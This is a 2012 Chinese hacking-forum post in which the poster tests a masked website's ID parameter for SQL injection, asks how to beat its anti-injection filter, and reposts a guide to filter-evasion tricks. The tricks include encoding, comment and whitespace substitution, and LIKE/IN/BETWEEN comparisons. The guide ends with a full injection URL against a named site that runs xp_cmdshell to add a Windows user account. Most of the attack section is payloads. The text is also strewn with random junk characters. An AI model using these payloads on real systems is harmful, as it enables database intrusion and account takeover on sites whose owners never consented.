找回密码
 立即注册
查看: 2954|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.
0 G& ], h. \8 thttp://www.xxx.cn/Article.asp?ID=117 and 1=1. e1 F5 k4 S! _! v+ i, [" P
直接返回主页$ |) R$ j' r1 p
http://www.xxx.cn/Article.asp?ID=117 or 1=17 U8 j1 w) T' H  X, ~  ]
直接返回主页# Q& F3 L" D9 p. @! [) X) l* q7 H
http://www.xxx.cn/Article.asp?ID=117 or3 d* `( u) A3 w
没有返回主页 没有过滤or0 o( H' t9 e* m% A
http://www.xxx.cn/Article.asp?ID=117 and
- W2 ?3 Y3 _( Q0 O0 Y, C直接返回主页 看来过滤了and
. E6 q* l' e4 `% F: b1 bhttp://www.xxx.cn/Article.asp?ID=117 or 1" {- }* q. L& W" {$ _
没有返回主页 即没有过滤or 也没有过滤1- k3 V. {! D% ?" z
http://www.xxx.cn/Article.asp?ID=117 or 1=18 I% ?8 M2 Y5 i+ |# E: y' X; t. H( K
直接返回主页 很明显过滤了等号 ; i+ L3 C* Q" `+ ?+ y
or的特性是与and相反的." a9 y% p' x0 M' D# m4 f
or 1=1 爆错 或与原页面不同# J& t' `4 P" y. m* x
or 1=2 原页面相同* n. N- {, I, n/ O0 W8 M* P9 ]
这样就是一个注入点% e' {' C- W9 S
但他过滤了=号 我就用><号代替=号吧!
$ ^1 G  W5 q$ E% n, A+ Jor 1<2 很明显是正确的,所以应该与原页面不同
- l. w7 D2 G$ V0 v& z6 @- Lor 1>2 很明显是错误的,所以应该与原页面相同
* H4 I4 A$ ]9 @+ }# K% q! n然后看看有没有过滤其他的查询语句,比如select.$ k$ u% D' z+ S
http://www.xxx.cn/Article.asp?ID=117 select% a, e' g$ W/ d) r
直接返回主页, ?! v% w+ {2 t
又迷茫了..% U9 `! L" V, t# U% P; e

# K' g4 j: S1 r5 Q* I8 J. G; j# E. C2 X/ G" F9 b* w9 }2 n% [
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
' Z, ^  H( [% d! }这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
# G$ [9 o. [# p: b) {; n================================================5 U& Y# Q! L3 }$ @2 Z0 m
以下是转贴:
; I7 R9 N2 c) ~# t5 \* J. T# J$ C' w4 G8 ]7 K5 y
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
" Y1 \" Y6 t" ?$ s8 X7 L2 L经过我的收集,大部分的防注入程序都过滤了以下关键字: % O: O' t+ [3 E& e5 D% W+ x
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
3 }% ?. o- ~- A# t( d而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
! n; T5 ^& J; ?) e9 L3 F对于关键字的过滤,以下是我收集的以及我个人的一些想法。
1 v8 u( Y; E: p7 G6 J* m1、运用编码技术绕过 # k1 N, U# [# K2 h( F+ m; |
如URLEncode编码,ASCII编码绕过。例如or 1=1即 & @1 r+ G$ h$ ^4 _; P
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 & |4 T/ u( o: u: y5 W
$ s: {) H* N; M/ q/ J3 R
2、通过空格绕过
; L5 @$ ~0 }# t+ n& ^如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 $ q0 f% e) h3 o7 S- t
or’ swords’ =‘swords’ 8 r- R) P: ^' e" F
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 ; v9 f3 }) R1 D7 e& O9 N1 L* m/ S
3、运用字符串判断代替 " G" W$ ^. J7 ^% s
用经典的or 1=1判断绕过,如
& K2 l7 O) w- Y" T5 Q8 H8 Xor ’swords’ =’swords’ 6 o; K" e, A. a8 ^
,这个方法就是网上在讨论的。
. O# C. T& g7 I4 H( p* C4、通过类型转换修饰符N绕过
  _5 R7 V- e$ V9 `6 q$ N1 J# ?可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 5 o# ^& T0 Q  H2 e
5、通过+号拆解字符串绕过 - ^  Y* A, q* Q7 o9 N$ I
效果值得考证,但毕竟是一种方法。如
! U" c# Z7 }9 C! _& s4 [or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
5 o7 I- W9 O- E# k3 L- e" i& t- A4 h- v8 n8 E2 m* }9 ^- E3 N% |
6、通过LIKE绕过
- K  E+ {- v# H. y8 Y以前怎么就没想到呢?如or
% \3 O2 |& p1 i' W8 ?+ Z/ h’swords’ LIKE ’sw’ : }5 `% |2 F! ]  M( z/ d
!!!显然可以很轻松的绕过
' U0 l  a% Z$ }$ u+ e# Z% E  @9 n“=”“>” ; v* g- l, h$ u& u: r
的限制……
4 S& y2 f3 X% ~  p7、通过IN绕过
1 |: T( t, C1 `与上面的LIKE的思路差不多,如 3 N- z" A5 Q( ?, m
or ’swords’ IN (’swords’) ( I0 u/ W( @' [+ d$ V
1 {! H0 t1 \9 ~  i; I
8、通过BETWEEN绕过 ! B" F% s4 m$ a6 n
9 p4 n6 h4 ~' U, i4 ^9 d7 B0 ?
or ’swords’ BETWEEN ’rw’ AND ’tw’
* _# c# w7 y7 ]3 y" x/ c! v
. b7 d& o' `5 ^$ B+ p/ ?9、通过>或者<绕过
* t7 M& b: n0 ]or ’swords’ > ’sw’ 0 T% v0 O0 K- ?7 [. R0 Q
or ’swords’ < ’tw’ 9 a! m6 N# f. n5 |7 x- `( y
or 1<3 4 i1 ?8 t( P/ l) I3 G; V/ L
…… ) l2 `* R% c: R0 n
10、运用注释语句绕过 / U: E) c5 H2 P1 S5 M# w: ]& u
用/**/代替空格,如:
, z, x4 S& o! k; {UNION /**/ Select /**/user,pwd,from tbluser
1 v5 t5 n7 o4 O" R) y, y1 P
8 a1 k  g5 L5 C' w用/**/分割敏感词,如:
: h1 V6 g8 m) GU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
" ]. ^1 S3 z; l) D# q8 n
( s0 n( E6 {) I3 }11、用HEX绕过,一般的IDS都无法检测出来 . m0 E. I! |  K
0x730079007300610064006D0069006E00 =hex(sysadmin) ) p; c- ?0 H7 Q- l: E7 J! I4 O
0x640062005F006F0077006E0065007200 =hex(db_owner) 0 I7 D8 D9 I5 r& c% J1 h, e+ f
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
* F; I; M7 l( n# ?  declare @a sysname
! I9 _  |4 ~  j3 j7 }" W  select @a=
% w8 H: u* q, X; y  exec master.dbo.xp_cmdshell @a + [7 I+ C) q, B+ M# C1 M0 P
效果 ) l$ G5 G% ?5 M5 d
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
7 r$ r- x" v/ ?& I
' K0 W+ w* H- b' O$ {! X7 |其中的
' B7 ?; j6 C/ @! B! }* R% f$ Y0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
/ O, b1 s/ c- u0 ^+ [6 V就是 2 K* l- L+ ~6 E) u' o, W/ C! Z
“net user angel pass /add”* n" Y% j3 O9 G

  M9 G. E+ R3 K$ ?  V/ |一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。( Z, h% q% i& B" c, O# b
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
  D9 m( @. G* G) @8 X1 {* ~/ e: `1 v另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
& s" o+ D  @6 P' X8 k2 P" qCopy code, A* _" c! e+ P/ S# q0 _
select * from table exec xp_cmdshell'xxxxxxxxxx'
. T9 w& K7 D; S( B0 I+ O
) H" S- B+ p+ ?5 V, Z$ q
& p  K, T! U; w  Xselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'; Z" ~3 H/ x! \8 z+ H& ^* e

, l0 ^9 d* e3 \
8 V4 x% W$ _! ^  O1 Iselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
/ ~5 X  ~* q' K- @+ F. H. Q
; M: ^5 m3 p7 X6 ~# n4 k# Y# G0 W1 D: ~4 ~+ y' l# x6 A
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'" U) H1 \$ _7 _. r# K3 ~
( s; c/ P# }9 m; k+ a1 o2 X
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?; Y( R& S: w2 N4 j+ S# u3 X
: M% t7 i/ o: y! u
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了3 Y' \. Y0 r* y- Q4 E& k, w& }' S
可能大家早就知道了,不管怎么说,发在这里吧!  d$ A5 q# ]" J- t7 i

* z& p' K0 k: A4 Z6 j( d最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。& s0 f% O! p3 p# |0 b" O" [
6 D# A4 b/ T+ ]8 l6 Y5 D8 q' t" j- }/ U
0 p* l; Z2 ~/ |7 x% T2 N

+ c# e+ M  _9 ?; v; M对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
* x, _0 e9 E3 I/ N比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
( Y: N8 u& ~8 p2 N. \  f5 U" b! x$ ?
9 }/ x" T! o- E- r" T. v8 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表